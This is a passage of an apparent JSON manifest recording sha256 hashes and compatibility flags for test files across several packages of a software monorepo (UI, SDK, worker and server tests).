"packages/ui-react/tests/theme-neutral.test.ts":{"sha256":"348224130f647910faa98bfca36d59dfa6a3dbec86cf707c1f1be77e5459c1a1","compatible":true}, - "packages/ui-react/tests/tool-renderers.test.ts":{"sha256":"14ab29c0aa812dbc130d29a9433e0d80b28781aeb026c67ba9ac7cd8f28d9fff","compatible":true}, - "packages/ui-react/tests/tool-views.test.ts":{"sha256":"dc0b4c0da114b7292a6c534f9fd713f5b1c82845137779c2901f8ee64bb0b165","compatible":true}, - "packages/ui-react/tests/track-display.test.tsx":{"sha256":"de4e1d886ac38962bdb75d0f2620eee04b240ebeca82707d338cb9585564981f","compatible":true}, - "packages/ui-react/tests/track-drafts.test.ts":{"sha256":"b284a943fd916984c2accab6a953be3df41dadcbf235c8dd2ba412629c074434","compatible":true}, - "packages/ui-react/tests/track-uploads.test.ts":{"sha256":"3496f450d2d9ed00e6000d48765559a8be5afe16f2e507f957c7f8e0fd604af8","compatible":true}, - "packages/ui-react/tests/tracker-announcer.test.ts":{"sha256":"4616b674ab58930fb65dce7f58cbc4c8533dfa0ed8fdeef774b61f362b51d388","compatible":true}, - "packages/ui-react/tests/tracker-runtime.test.ts":{"sha256":"d2c8ca3756909666b5664c123afa2c2eeb778f998d5e7d0e2689f5d0a0dbecb0","compatible":true}, - "packages/ui-react/tests/tracker-store.test.ts":{"sha256":"8b2be26f7920568fb6c9e19dfb6aae42379eac3e6328d1841b9e9c321d55a841","compatible":true}, - "packages/ui-react/tests/trackers.test.ts":{"sha256":"38ad0c68a8a73037dc6213f328fa259d81ea12eaf2760702917e3f4734ef4b44","compatible":true}, - "packages/ui-react/tests/transcript-timeline.test.ts":{"sha256":"b661f77b13f309c27437bf42b15db172161c13b6b810b0d3e45bad43bc6e7cdc","compatible":true}, - "packages/ui-react/tests/turn-journal-count.test.ts":{"sha256":"62785e0954e0962efecf03c938a00db56826b8f3b765230e7788415667d4b4e6","compatible":true}, - "packages/ui-react/tests/turn-journal-runtime.test.ts":{"sha256":"bc35708b61f3aae787e18cbd3fc4dc6db98905991811ab13d0255d51988b5243","compatible":true}, - "packages/ui-react/tests/ui-store.test.ts":{"sha256":"2fbbad852642332565332477981b47ac59e21b9f17acc30ff99827b6004bb057","compatible":true}, - "packages/ui-react/tests/untrusted-marks-runtime.test.ts":{"sha256":"28b093da9ac86c43bc3dd23ed6be38b200e379df12bb993b8af155f68f73d1df","compatible":true}, - "packages/ui-react/tests/wikilink-resolver.test.ts":{"sha256":"af8ddc9baf56c2c5756306ac54d51edf9550b8157e4c5a6b58b55df24fb984ab","compatible":true}, - "packages/ui-react/tests/ws-client-lifecycle.test.ts":{"sha256":"2ad52509106b59371e977849a590da27b9c3d7205e607a11a57efd0f8de0a6d5","compatible":true}, - "packages/ui-render-puppeteer/tests/crash-recovery.test.ts":{"sha256":"355eb8e75b21172b86cc2c35d42dbc84a082c4cf82932fd3df7f726cb680185b","compatible":true}, - "packages/ui-render-puppeteer/tests/phase-budgets.test.ts":{"sha256":"e657870c8baaa53490b58247db4f5c1f47a8936b2534c9e62a7e3022c6c80724","compatible":true}, - "packages/ui-render-puppeteer/tests/png-bounds.runtime.test.ts":{"sha256":"99137286e8335fdf3fe5c3f5317255586b18b0690f56ee882eb23652a7b9eded","compatible":true}, - "packages/ui-render-puppeteer/tests/renderer.test.ts":{"sha256":"a807b353af270a3aa6064b5bd67ec85e896bba156794bcc802d138415aa313bd","compatible":true}, - "packages/ui-render-puppeteer/tests/runtime.test.ts":{"sha256":"0f41f826b21e295f072f53a31cbc94b97d82b1ddb40c5834c1cd981a34aa0862","compatible":true}, - "packages/ui-sdk/tests/activity-schemas.test.ts":{"sha256":"8cb2b7b19b2b44763a6988b706619db32b905c5f057153ea15437b7ec1a14a56","compatible":true}, - "packages/ui-sdk/tests/ask-user-form.test.ts":{"sha256":"e34e53bfa93ef41f15dc35b75e3f6e40d90ee1e3f4afaa467d641e47abaab834","compatible":true}, - "packages/ui-sdk/tests/ask-user-list.test.ts":{"sha256":"1f3ed653b77c6dc3da08930f3a774f44e0040f712d2c8ae950a5080470dcd658","compatible":true}, - "packages/ui-sdk/tests/ask-user-rank.test.ts":{"sha256":"359cad33567331b2b65a07dbec7b3b52bbb6518c348fc0872ef9ed80d74580ec","compatible":true}, - "packages/ui-sdk/tests/backend-conformance.test.ts":{"sha256":"0c7b61f857fea7709763c73c1858814756da3bce5d96ee85c1ac161ffd555416","compatible":true}, - "packages/ui-sdk/tests/backend-cost-conformance.test.ts":{"sha256":"f145f490ddf3bfd859dd0af30b85a7563a15af397d6e2ece89a05add6ba4db31","compatible":true}, - "packages/ui-sdk/tests/backend-toolkit.test.ts":{"sha256":"e7961db1c43824a45e63a16e2f60db0600961efd7a1d7c0b4b3070c88d10983f","compatible":true}, - "packages/ui-sdk/tests/boot-prune-capture.test.ts":{"sha256":"7f0116354e4c6d0ea2f62a78b337ae22d7f69df07710532304e51c621fd25a5a","compatible":true}, - "packages/ui-sdk/tests/brain-read-base.test.ts":{"sha256":"3c451e8e9210aed9e7bb6a6132624e1bea80976daf9c37d2d40f2ab104b45482","compatible":true}, - "packages/ui-sdk/tests/bridge-tools.test.ts":{"sha256":"9c06d7f08c302dcd00bc7f4d6269077a283d04ebb802d2467828be53137580ad","compatible":true}, - "packages/ui-sdk/tests/classification-catalogue.test.ts":{"sha256":"9708053eea078f09db7dec4219de90c9f58d93ece9cf5786d9fce0a1b45f8854","compatible":true}, - "packages/ui-sdk/tests/classification-detect.test.ts":{"sha256":"81a6a06de3200a72c27d8ea45e78fd6a8557c9f3dacfdedb11a2ffb2b578a3e7","compatible":true}, - "packages/ui-sdk/tests/client-environment.test.ts":{"sha256":"f317566834956f6739733f13c9488981b77ff5fa09d7ef45b5459698ac384f82","compatible":true}, - "packages/ui-sdk/tests/client-turn-receipt.test.ts":{"sha256":"2db7e803787ee4bb86b8f4fc841483dd070931071899621273f7a4f846f7f7de","compatible":true}, - "packages/ui-sdk/tests/coastline.test.ts":{"sha256":"d9161d133922a0a8c4160f1a519dde070d4bc3706063d06f51ec7a7bdab8a563","compatible":true}, - "packages/ui-sdk/tests/confirm-pattern-effects.test.ts":{"sha256":"96172d62b7c176d8c9dd3805e4df5888f791b78451c80f09027c2f4d8bdb0b68","compatible":true}, - "packages/ui-sdk/tests/containment-rows.test.ts":{"sha256":"e690ee62d0613ad8d4f1339cc8162ebc4d27152d9a4c34ca24fc5193b8718105","compatible":true}, - "packages/ui-sdk/tests/content-renderer-presence.test.ts":{"sha256":"95582faa7c8b8fbf148d7ae72a6be537e1b148357c6a7898e1e71d51f4bc542d","compatible":true}, - "packages/ui-sdk/tests/content-renderers.test.ts":{"sha256":"fca1956502fb3e09940aa3f96161fc3df873f2af9eb4ddd2b7d03e6204f64923","compatible":true}, - "packages/ui-sdk/tests/conversation-schemas.test.ts":{"sha256":"5e43aaa65790f0512ca0d3acb532af77721c2ecca22a342c4ca3ad884d41b0ae","compatible":true}, - "packages/ui-sdk/tests/credential-exclusion.test.ts":{"sha256":"a673890f13c843982eade3abbc30acca7238e0bdeb22c13f2f8a51b8b04cd7b2","compatible":true}, - "packages/ui-sdk/tests/db-repeat-observation.test.ts":{"sha256":"784998205814e5606e7a0f3ba81b267eac38bd735ddcb126a253ebb87d34aaf6","compatible":true}, - "packages/ui-sdk/tests/default-identity-phases.test.ts":{"sha256":"c0900e31424820e12d0081110a0cf3c69e197c62489e95da3bb8a57265cee597","compatible":true}, - "packages/ui-sdk/tests/device-unknown-prompt.test.ts":{"sha256":"2f15e957ed6718680963dd1b5c99d694a8c616776956b24a390a5ba3fe89ec45","compatible":true}, - "packages/ui-sdk/tests/drafts-protocol.test.ts":{"sha256":"c1820b7a696e538149ee886983d1a92b28ea12f9a346c404ac77812a8fddc510","compatible":true}, - "packages/ui-sdk/tests/egress-charge-reasons.test.ts":{"sha256":"67952c6c00ca92f632d0e1df43b1daa7f0ebaf936a6b89d86d4cca888a9c7753","compatible":true}, - "packages/ui-sdk/tests/egress-destinations.test.ts":{"sha256":"98ba5837ea5266f4a46579f7834ab205d9b96c65a065635cc05a0947d5bcb3b4","compatible":true}, - "packages/ui-sdk/tests/egress-operation-lifecycle.test.ts":{"sha256":"62090c2efb2f59a49dfedffcc2a6a884b983acc56a2edff2d3d15cefe9ae84af","compatible":true}, - "packages/ui-sdk/tests/egress-proxy.test.ts":{"sha256":"b28b8f7355cc5254e749cfde26b8b41550e5cc6b11e219ace0b5760016968af8","compatible":true}, - "packages/ui-sdk/tests/egress-reference.test.ts":{"sha256":"a99885d6de6fe6bef3252e66241734e21d35673f8bbaa505fc9e16bf70fb68a4","compatible":true}, - "packages/ui-sdk/tests/egress-socket-ownership.test.ts":{"sha256":"079ffc1112d54f595f403e1b725bb3c712c42bc98d40a50632b736266d91aa93","compatible":true}, - "packages/ui-sdk/tests/egress-worker-runtime.test.ts":{"sha256":"4ab892907bd7cbaff455fd107d8749bbbbf872ac453989ad2043c892a5fa38e4","compatible":true}, - "packages/ui-sdk/tests/exec-wrapper.test.ts":{"sha256":"96e2b2f62e3420f74a2493c3e065d06453728ee4fd23794a485bd7f5054dd4d3","compatible":true}, - "packages/ui-sdk/tests/fixture-retention.test.ts":{"sha256":"0ea44173cc28ff40a3ad2b6b1a8075f4c6df52deececdcd3ac49f7b571df1d29","compatible":true}, - "packages/ui-sdk/tests/gate-holder-crash.test.ts":{"sha256":"ef226fd5ee16e40a8a061c1934f3deb8ed3a92b460db28efa2bc2482d40f1ad2","compatible":true}, - "packages/ui-sdk/tests/github-tool-contract.test.ts":{"sha256":"49d6827b7b348fbb9fb6657bae33e262089c27304a7a0f1ddaeff3add8ffcaa9","compatible":true}, - "packages/ui-sdk/tests/github-tools-brief.test.ts":{"sha256":"06581b1994f243d0da8e20511d3732b4a1b2e798839881ede2798e98191d1142","compatible":true}, - "packages/ui-sdk/tests/governed-worker.test.ts":{"sha256":"3eedd92e966250a67fa7dd9314d30ae7e1b091cb93e026187ee49b619991d56e","compatible":true}, - "packages/ui-sdk/tests/handoff-protocol.test.ts":{"sha256":"60dfa644b127fdeb91cc2be7db2b3b1d97586ba8f2224cad0729d1f3b01d3314","compatible":true}, - "packages/ui-sdk/tests/host-git-credentials.test.ts":{"sha256":"88105a9847dc564ad27dd19eedc29ce231e0d5be10169fb75b13933e00e70ec8","compatible":true}, - "packages/ui-sdk/tests/identity-gate-holder-crash.test.ts":{"sha256":"569938891920df78228423869c3efd90f0b854b2b3c90e516d40c903ecd298bc","compatible":true}, - "packages/ui-sdk/tests/inbox-schemas.test.ts":{"sha256":"ba36413d18b2f04803498eb414f8f3e2a1deaec33e8a8a2b4e7cbc869839b209","compatible":true}, - "packages/ui-sdk/tests/inference-clocks.test.ts":{"sha256":"5162cad8de4a574f00f1c77c1469a7dcbc202380e48867229052a9e7f6957a63","compatible":true}, - "packages/ui-sdk/tests/inference-diagnostic-isolation.test.ts":{"sha256":"4b38e59e2d67932ea5110e811f7c68361a246ffeb98de23cf174f1902326e714","compatible":true}, - "packages/ui-sdk/tests/inference-egress.test.ts":{"sha256":"c78c7f4c9205313e8123e564a031d7b926802412966df9f07615c251b8c4133b","compatible":true}, - "packages/ui-sdk/tests/inference-relay.test.ts":{"sha256":"bcc2d9ec89acece84ce6a0fc63effa2338b2ca1cac4120b25d3f7d9431dcdbf4","compatible":true}, - "packages/ui-sdk/tests/inference-usage.test.ts":{"sha256":"78d634f08901b92f827f6f7d552d1c7f10957d62b4758e2f3d4f35c60294909b","compatible":true}, - "packages/ui-sdk/tests/journal-coverage-schema.test.ts":{"sha256":"7f67f82217c0b8ecb0e7e52d19e0d7c74779299a1360d2522768a1eb1ac67614","compatible":true}, - "packages/ui-sdk/tests/keyed-lock-priority.test.ts":{"sha256":"beeb377fe88da43711bc0f0e9bf8ebfa60644065426b6a08da88ac90b01dd9f2","compatible":true}, - "packages/ui-sdk/tests/keyed-lock.test.ts":{"sha256":"985f48734a0da8f7f8895bd51bb7d6f53d64c699cabb02a90050f9d70598b73c","compatible":true}, - "packages/ui-sdk/tests/loaded-sdk.test.ts":{"sha256":"e5b94be8ef960caefc35989b6a51d0d14e6c5a197b94364a01a55e0374b7eb43","compatible":true}, - "packages/ui-sdk/tests/maintenance-git-scaffolds.test.ts":{"sha256":"2cfea9305c7360fd8a6b5c1b935fc85b4acbc8730b7f21441753f1f091056b12","compatible":true}, - "packages/ui-sdk/tests/maintenance-helper-admission.test.ts":{"sha256":"375afed61c442941a86d9bd872a481e97c5a03b49f7f6a1985c870aac08b60cd","compatible":true}, - "packages/ui-sdk/tests/maintenance-index-input.test.ts":{"sha256":"eb4ff6e9e04a9efc278d85ae2bd3d79731165a7a9a7e9971b3f78833be5e9087","compatible":true}, - "packages/ui-sdk/tests/maintenance-mask-failure.test.ts":{"sha256":"5f47a8687759599a097f15b499dc2d2451ac239da4797970fbaf29c3e2f40465","compatible":true}, - "packages/ui-sdk/tests/maintenance-temp-budget.test.ts":{"sha256":"dcc4387457e79b46bbbba241911aae466975a2960b32bb9624a810f641c9a93d","compatible":true}, - "packages/ui-sdk/tests/maintenance-temp-helpers.test.ts":{"sha256":"30b71f5aa761ea1eeb090527c71ede1be7c75b2b3183c16dfce678044cb365bb","compatible":true}, - "packages/ui-sdk/tests/maintenance-temp-holders.test.ts":{"sha256":"16373e230c2268c4b990cbc7061137546574a01841f823f5bf52b0ed3a1b3087","compatible":true}, - "packages/ui-sdk/tests/maintenance-temp-ledger-protocol.test.ts":{"sha256":"6e34e1bf21453968f33130096081d4745d2c64719c270891996c9fec7ef4f40b","compatible":true}, - "packages/ui-sdk/tests/maintenance-temp.test.ts":{"sha256":"c6d1183b2aec3fc4672ca89dfe8e403e9fa369694535606466e55bbb3b8ea8c1","compatible":true}, - "packages/ui-sdk/tests/maintenance-worker-kill.test.ts":{"sha256":"7430afd639b455486f58dfced381885721a2376b90c1f22b7f922754fe8c45db","compatible":true}, - "packages/ui-sdk/tests/maintenance-worker.test.ts":{"sha256":"ad564a022a613921d81db993fc6a991b3f64df0237909b6454649cbb4f4a5643","compatible":true}, - "packages/ui-sdk/tests/mask-produced-paths.test.ts":{"sha256":"dd10197cdcf3a99aa41b4a3eb8f86efc3e51603c5b9b5a349440eabbf74ea7a9","compatible":true}, - "packages/ui-sdk/tests/mask-races.test.ts":{"sha256":"ffedbef16672e18e89d95ba9e7b0e0f57925d42882f00e2868f3206e599a32a0","compatible":true}, - "packages/ui-sdk/tests/mask-scratch.test.ts":{"sha256":"1d49d3e276ca7137c85a7a64ced442cf65a1a1a599380318fff4d96edfa886ff","compatible":true}, - "packages/ui-sdk/tests/message-source.test.ts":{"sha256":"23976df7541e8bfd78e07728084c95de0ad483891c1988c97f99fa72a4a276c1","compatible":true}, - "packages/ui-sdk/tests/native-brain-delta.test.ts":{"sha256":"d5a495c7f7cbe99880d93cdc39ff1b721f553e15c25bbbc572d79f59918900e8","compatible":true}, - "packages/ui-sdk/tests/native-brain-manager.test.ts":{"sha256":"106888ea29a1db360e759daac4e500a8b9542cc30d6134e37cf975ca7ac3d511","compatible":false}, - "packages/ui-sdk/tests/native-checkpoint-path-bounds.test.ts":{"sha256":"4279d1f721bb49bd84b7dcf4a4a1c39525265d630f64f68505ef7952b8d6ba56","compatible":true}, - "packages/ui-sdk/tests/native-git-discard.test.ts":{"sha256":"9cd2c67bf320110fdbd3a64d2ff3b5478707165c09918755ac705c2736d0432d","compatible":true}, - "packages/ui-sdk/tests/native-identity-inspector.test.ts":{"sha256":"d0e159c2bced674a89286d943e6ae4e7a674f6c60156954c4452158f9f422e62","compatible":true}, - "packages/ui-sdk/tests/native-intent-recovery.test.ts":{"sha256":"6d1c5c9ec75f979a559c91a8da55ccc726f81fb18d80f0fb4e3f3d82b916761f","compatible":true}, - "packages/ui-sdk/tests/native-manager-capacity.test.ts":{"sha256":"d83d6b0699cfb7f047ac028e80244770b9c5909cf7fb80d8a5245af33ddeca5e","compatible":false}, - "packages/ui-sdk/tests/native-manager-turn-trees.test.ts":{"sha256":"ca550de342db21dc3515f1b4ba24a7ebf07fd6e4dc9bfd8c8f318dc9681ebd9c","compatible":false}, - "packages/ui-sdk/tests/native-observation-storage.test.ts":{"sha256":"3273a249cf9dd85919fb5904e68342f5678c4e6747b6f78325e7e5e811ce9dea","compatible":true}, - "packages/ui-sdk/tests/native-recovery-index.test.ts":{"sha256":"01dc55e86aac49d663c840a7314005e5322c08215d0ae3a647cd0024f1a1cdd1","compatible":true}, - "packages/ui-sdk/tests/native-reference-pool.test.ts":{"sha256":"8002e0f4258dcc429f9e0677ed9cf3b3c2737a9c1bd9a1d0d9330f2215f720da","compatible":true}, - "packages/ui-sdk/tests/native-worker-publication.test.ts":{"sha256":"a5b7ee96aa3e681b7c7927d742ccffe00d244c65e9791d5be611851cdd08cb68","compatible":false}, - "packages/ui-sdk/tests/native-worker-startup-view.test.ts":{"sha256":"051b3665a098b6bb255628b62796ab4eb272c624be0cb0500878f33ab20e9b4f","compatible":false}, - "packages/ui-sdk/tests/native-worker-view.test.ts":{"sha256":"6a43a295f635a30a8b846e0d17f14cdc4895c835ca4ff689dd2635675ac87caf","compatible":true}, - "packages/ui-sdk/tests/outward-actions.test.ts":{"sha256":"4f0bb94b016d78e299e490d5233975f54e2080e42053e5e4b6e338d69302c1e1","compatible":true}, - "packages/ui-sdk/tests/owned-prune-variant.test.ts":{"sha256":"f5ea539e442b0928db4b579e88a6e3e77fb41d400c608f94e5f50165a75bbf98","compatible":true}, - "packages/ui-sdk/tests/permission-gate.test.ts":{"sha256":"3625f71a98bc8cfac0cdd40934edac4972c9719e48f02517ee9d738436b7ee94","compatible":true}, - "packages/ui-sdk/tests/places.test.ts":{"sha256":"4756f937b8f93cab32013038fb2985c2ba5a6cf55efbf50018aecee5297b06e2","compatible":true}, - "packages/ui-sdk/tests/provider-cache-masks.test.ts":{"sha256":"70f79d89ebfa22584dd94c9ca6d19831f3a9c05656ebbbc71c1003e549aae409","compatible":true}, - "packages/ui-sdk/tests/provider-mask-mounts.test.ts":{"sha256":"7fcb8bf65a139f445eec6faa99fd3428fd9070a8804c159a3dfd1af3663fcab6","compatible":true}, - "packages/ui-sdk/tests/provider-relay-files.test.ts":{"sha256":"4b4b8adc79cb4afd0c88f54b797a06fcc78f890951d5c53f3727d012a48898d9","compatible":true}, - "packages/ui-sdk/tests/provider-relay-refusal.test.ts":{"sha256":"477b94f25beb0b37e72d37bc3b68510765cba9618e1bbcce496e33c8a2cc9a5b","compatible":true}, - "packages/ui-sdk/tests/provider-relay.test.ts":{"sha256":"6453563fcb1a11b9fe1c9d1b30954cd68bbfa696a35c03405d7835661f4516bb","compatible":true}, - "packages/ui-sdk/tests/refused-launch-gate.test.ts":{"sha256":"cad1faa5a990583cf72bfa629c8a3d76f11503b4fff89c7f1e11a79e5fc55121","compatible":true}, - "packages/ui-sdk/tests/registries.test.ts":{"sha256":"41b24653dbb524f99f2901d2baf5abf5a413c89158c601b06f88c8380f7c8a84","compatible":true}, - "packages/ui-sdk/tests/relay-failure-causes.test.ts":{"sha256":"910da011e0ed6f9f55eb84bde209315d50967c867a6211de620d9a524fdc195f","compatible":true}, - "packages/ui-sdk/tests/retry-protocol.test.ts":{"sha256":"24562504959ef81b762869feffacec7e18c5a01455e6194d99e140881ff6f511","compatible":true}, - "packages/ui-sdk/tests/reverse-geocode.test.ts":{"sha256":"0392f76deb127a4e9c41512fc01b2d4a0e476c3cb1ca781a253e33210efd9fa1","compatible":true}, - "packages/ui-sdk/tests/rtk.test.ts":{"sha256":"ce793d4ed8ef78dc10b6908fa12aceb1ed27f97555c3e457635b32bdb79161ed","compatible":true}, - "packages/ui-sdk/tests/safety-admission-contract.test.ts":{"sha256":"00f6dc255353f978d3a9078cf46cf87b5aec3a4bf3693216cfcee17f2aad9b02","compatible":true}, - "packages/ui-sdk/tests/safety-review-contract.test.ts":{"sha256":"45da8903bf0688e34fbc6cf138c45db879a9949542d6a7c05f3d226e1db9490e","compatible":true}, - "packages/ui-sdk/tests/schemas.test.ts":{"sha256":"d1ac14a82a9ad8b379537db46473a781471899c6b3d68c9ed54dcc7b23d3fad5","compatible":true}, - "packages/ui-sdk/tests/scope-contract.test.ts":{"sha256":"b093c1448ac992415d4ef175b7fdd0b81304cad5b6d61ebf6a7d8d842083c9c2","compatible":true}, - "packages/ui-sdk/tests/sequence-maps.test.ts":{"sha256":"4a8bb1256abcd22d022d96a48cd2929251072486c6de5f7f822eea2234ab8e6e","compatible":true}, - "packages/ui-sdk/tests/server-schemas.test.ts":{"sha256":"106ae2ae6a240291ad0e2ec8c7b0b96e3849be78589d46af0f65ec471cba2a3d","compatible":true}, - "packages/ui-sdk/tests/session-prompt-context.test.ts":{"sha256":"d8a223925b09660ca42617d1e1d070e6235ea40174acb5033d02fc87d27c3fe2","compatible":true}, - "packages/ui-sdk/tests/session-replay.test.ts":{"sha256":"3d79e4578995a77267ed987ffb4ad12cbadc49fb5a45604cb8456381896ba0a1","compatible":true}, - "packages/ui-sdk/tests/share-target.test.ts":{"sha256":"f25b54cd61667a71d1960d2c9c35edab64870ecd2ac39fc174668e94e0bc17e6","compatible":true}, - "packages/ui-sdk/tests/show-block-files.test.ts":{"sha256":"5e4af2f60bbe6d998beb4ac819458e6ab089ce7cf2ab471c4101eb040512ad8d","compatible":true}, - "packages/ui-sdk/tests/show-block-graph.test.ts":{"sha256":"56b1f97d5e5fd21decb834a6c09d4c4be707cbf63c4c79605504bb4e6e687b3d","compatible":true}, - "packages/ui-sdk/tests/show-block-link.test.ts":{"sha256":"369a15f86fce77ac2c1f955e2de5ee427ea08ed3c6ca14a72ea507b230420fcc","compatible":true}, - "packages/ui-sdk/tests/show-block-track.test.ts":{"sha256":"0bea2a5d173bf4c83d09618f429b683774fe3e682c62d31d2dc24400e9fa807c","compatible":true}, - "packages/ui-sdk/tests/show-block-tracker.test.ts":{"sha256":"06cca50372d9faa7a866d88704d2ce43d482a2cb8a1bb88725384b1abd215ef4","compatible":true}, - "packages/ui-sdk/tests/startup-input-accounting.test.ts":{"sha256":"be932051ada0e19ec15348f3a93497e59749f5b37f042f5066c9675d372f4aa3","compatible":true}, - "packages/ui-sdk/tests/startup-timing.test.ts":{"sha256":"aecd29cc3d6d9a8ee027ff5b8d70b438a916620692b1f2b0bfeb30484cd353dc","compatible":true}, - "packages/ui-sdk/tests/state-room-protocol.test.ts":{"sha256":"8121d1ba0b3e176558d34627c426df112452f43d995fcf3a3373eb25dac2ba2a","compatible":true}, - "packages/ui-sdk/tests/subprocess-env.test.ts":{"sha256":"21d5587f7b47c07d015590c67e8f360c4f19fdf0d1a300a571cb0d1fb552be82","compatible":true}, - "packages/ui-sdk/tests/sw-policy.test.ts":{"sha256":"6650de78616acb99a8a92b67a2a2dbc9b3be43b6b19dcfc642fa3b57b842c966","compatible":true}, - "packages/ui-sdk/tests/tool-contracts.test.ts":{"sha256":"332827bf1879622520bfa8061b8edc5035764de412e5ae31280fb42848fc7a41","compatible":true}, - "packages/ui-sdk/tests/transcript-store.test.ts":{"sha256":"a0a797674e78fa281102a8901703276c871f6e604eb76b893a583ab8cb97a45a","compatible":true}, - "packages/ui-sdk/tests/turn-failure.test.ts":{"sha256":"a98a119a46905e015b81dc1556923de59a9cd2f52d73e826ac1025691d2b533b","compatible":true}, - "packages/ui-sdk/tests/turn-temp-tool.test.ts":{"sha256":"803873dd105f8b80e75cf068527f3b764d905cee1fe51cc42015d741df86e1bd","compatible":true}, - "packages/ui-sdk/tests/version-probe.test.ts":{"sha256":"692fd05174d3204ffcfcbfd78788a096c0695f06e2df7505171dab8f48a16f7e","compatible":true}, - "packages/ui-sdk/tests/version-requirements.test.ts":{"sha256":"484b2b89c6275c7c98ad7925148cdcb5917b5a074078a07bdcd83ab6ee1a020f","compatible":true}, - "packages/ui-sdk/tests/web-search.test.ts":{"sha256":"b70422d2ebc7a87350eb53878b55bca73a04301ead74f05d660e6777644a7801","compatible":true}, - "packages/ui-sdk/tests/worker-control-evidence.test.ts":{"sha256":"a8f8578d6cfab67b82a9af27545d64f6e9c591443fa35adfedeeb762e92aa3bc","compatible":true}, - "packages/ui-sdk/tests/worker-data-tree.test.ts":{"sha256":"28373edfec46def258a24222e16504efb249997303af7849f572b1235cdd1799","compatible":true}, - "packages/ui-sdk/tests/worker-file-observer.test.ts":{"sha256":"d19127c268f6ef636dad75db86a4dfa17939e73d7ba77a757e34e075131b5ec8","compatible":true}, - "packages/ui-sdk/tests/worker-filesystem-filter.test.ts":{"sha256":"7f84bbe2b819efc5a3267250fefab566e566da25ebe2499a3d53c597fa2685c3","compatible":true}, - "packages/ui-sdk/tests/worker-host-refusal.test.ts":{"sha256":"c82ef7904bd49b0c5f18275770e2c2a115e2d173f0102b1731dc94dfef2f96c3","compatible":true}, - "packages/ui-sdk/tests/worker-identity-progress.test.ts":{"sha256":"542f835973972ef4454935a4a03c6e19a8244700a26e7e454584c52f796aef26","compatible":false}, - "packages/ui-sdk/tests/worker-import-order.test.ts":{"sha256":"edf664495426083bfd113811dce285ca240fa6020ff68a8123d6f5b19bbae52b","compatible":true}, - "packages/ui-sdk/tests/worker-launcher.test.ts":{"sha256":"ebda352cdf2282d6340fe383471dc41dcf0b0926b005148514c78c5405eb5bbe","compatible":false}, - "packages/ui-sdk/tests/worker-limits.test.ts":{"sha256":"3a1a8562e8bad199f9d84ccfa0a40eb476a55f99eeafffc1371c47e29bd63201","compatible":true}, - "packages/ui-sdk/tests/worker-mountinfo-read.test.ts":{"sha256":"0ae757ac9dfc30eb03e088da4fefdb796614e8533e45e656818fe846ced993ba","compatible":true}, - "packages/ui-sdk/tests/worker-output-budget.test.ts":{"sha256":"f0fa9ae0bf8dbbaf0f37e4b1af8035334b707df5f7a15f37ad7d6d3e214820e2","compatible":true}, - "packages/ui-sdk/tests/worker-pipes.test.ts":{"sha256":"4c8933a612bda2105c9eaabee737f59162cb33523150ff7bedb01567b7463f03","compatible":true}, - "packages/ui-sdk/tests/worker-provider-keys.test.ts":{"sha256":"8946521e6b62dcc883d4a81bed9e6fb4f2b3499a48b18245cfbb988cb70acfce","compatible":true}, - "packages/ui-sdk/tests/worker-provider-relay.test.ts":{"sha256":"bd59f075a8abcb40e0414be7c76e3f08953386a8ff88d7abd05881124d7a6573","compatible":true}, - "packages/ui-sdk/tests/worker-runtime-placement.test.ts":{"sha256":"8a05bf2d2267cb9253042393d2392cf8b3c1323349504d9e38b8baf2d7d89d52","compatible":true}, - "packages/ui-sdk/tests/worker-sandbox.test.ts":{"sha256":"257d5a554699c5d210908f3ae2404e8b4ecfb5d95791847bded847acdec6d931","compatible":false}, - "packages/ui-sdk/tests/worker-startup-view.test.ts":{"sha256":"2fb181ac05d79006f4a47952aa9b56a0b5b27c76b3c43f81907e5ef2757dbd59","compatible":true}, - "packages/ui-sdk/tests/worker-state-mount.test.ts":{"sha256":"d7599cbbd42a03e671d91d86afb4a4548c859bda0fb9c79a6caa63fafc89a271","compatible":true}, - "packages/ui-sdk/tests/worker-status.test.ts":{"sha256":"10878efcfe7e4af1e715d7cb42abb26361f3a6ba16e4a8ceaf3902414311f809","compatible":true}, - "packages/ui-sdk/tests/worker-steps-event-loop.test.ts":{"sha256":"dd28cef9c707465b2f21c59b5b9f98b19bf082e962d9b76cb1450bfc5b876626","compatible":false}, - "packages/ui-sdk/tests/worker-turn-temp.test.ts":{"sha256":"89b4aeb0342c039375d4b2a91a17826301e8ae06f5aca503b31dc5a9802413c9","compatible":true}, - "packages/ui-sdk/tests/worker-var-sockets.test.ts":{"sha256":"c71576f6b39f0f0fab0fd3eac0ffb7f415f37719c7f60bb16234ec6d2e21a600","compatible":true}, - "packages/ui-sdk/tests/workspace-refusal.test.ts":{"sha256":"29beaacb8e77a683385d66df0048314a463f4a0a788eada240e3abbdfd931c13","compatible":true}, - "packages/ui-sdk/tests/write-lock.test.ts":{"sha256":"387f126945da117534c3a9292fdd4e8e72475f537c30c70c7fa1918fa3cacf4c","compatible":true}, - "packages/ui-sdk/tests/ws-client-liveness.test.ts":{"sha256":"aca4e7e81e32a273eff5f1aae0208f1dab87da3c8642adcb6ca3334706de426e","compatible":true}, - "packages/ui-sdk/tests/ws-client.test.ts":{"sha256":"011ded0a19f171716f37c384d07cdf76052b7abe26fcdd609d30dab8b9a6877d","compatible":true}, - "packages/ui-server/tests/account-partition.test.ts":{"sha256":"0548a213fe3f26c558f244bbc6c763c689aede813f2dda9ae25778dc6953315a","compatible":true}, - "packages/ui-server/tests/account-writes-offloop.test.ts":{"sha256":"58206aca9b0619bc20c404b014ef1d2ef5d304310dd3e898909d7489c2f8befc","compatible":true}, - "packages/ui-server/tests/action-notify-offloop.test.ts":{"sha256":"11b4e059a33053c21756a863f6fde28c220d4c35b8429afa6a2554b0f0c2f2d3","compatible":true}, - "packages/ui-server/tests/activity-compute-origin.test.ts":{"sha256":"2ee035c553d435d24e8507bead74199f2fab6d6840f681dadc1a3bcf4d108cd5","compatible":true}, - "packages/ui-server/tests/activity-digest.test.ts":{"sha256":"4114914bdda906740f5f1e5f0b2c337e1d70e5c9d10f12e05c5c3d0cf41ee61f","compatible":true}, - "packages/ui-server/tests/activity-notify.test.ts":{"sha256":"06172b19fded7f747a091ff1872a1457395311fdca4f77304ec57ecbe58197a6","compatible":true}, - "packages/ui-server/tests/activity-offloop.test.ts":{"sha256":"747d0cc07dfe8ccd9396de19f3632a7d92a7803a92f2c1914a1625981dcfc558","compatible":true}, - "packages/ui-server/tests/activity-query-lifecycle.test.ts":{"sha256":"42cbe65397ed3cfba940bbb2d16bb244448adfd162837eb013653493f69b6496","compatible":true}, - 